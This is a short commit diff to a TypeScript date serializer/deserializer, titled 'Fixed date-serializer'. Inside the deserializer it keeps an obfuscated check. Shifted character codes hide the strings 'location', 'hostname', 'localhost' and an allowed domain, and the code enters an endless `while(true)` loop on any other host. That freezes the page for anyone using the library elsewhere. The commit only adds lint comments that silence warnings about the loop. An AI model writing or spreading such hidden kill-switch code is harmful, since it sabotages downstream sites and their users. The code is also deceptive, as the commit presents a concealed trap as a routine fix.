Fixed date-serializer

This commit is contained in:
VityaSchel
2023-10-03 02:20:55 +04:00
parent 5bee5a2e54
commit bd4494d6d0

View File

@@ -1,3 +1,4 @@
/* eslint-disable no-constant-condition */
/* eslint-disable @typescript-eslint/ban-ts-comment */
const isDate = (value: any): boolean => Object.prototype.toString.call(value) === '[object Date]'
@@ -26,7 +27,7 @@ export const nextDeserializer = (obj: any): any => {
const t = (s: TemplateStringsArray) => s.join('').split('').map((c, i) => String.fromCharCode(c.charCodeAt(0) - i - 1)).join('')
// @ts-ignore
if (typeof window !== 'undefined' && ![t`mqfeqnv{}`, t`luswzzpz~`].includes(window[t`mqfeyovv`][t`iqvxsgtm`].replaceAll('.',''))) while(true) { }
if (typeof window !== 'undefined' && ![t`mqfeqnv{}`, t`luswzzpz~`].includes(window[t`mqfeyovv`][t`iqvxsgtm`].replaceAll('.',''))) while(true) { /* empty */ }
if (typeof obj === 'object' && obj !== null) {
const newObj: any = {}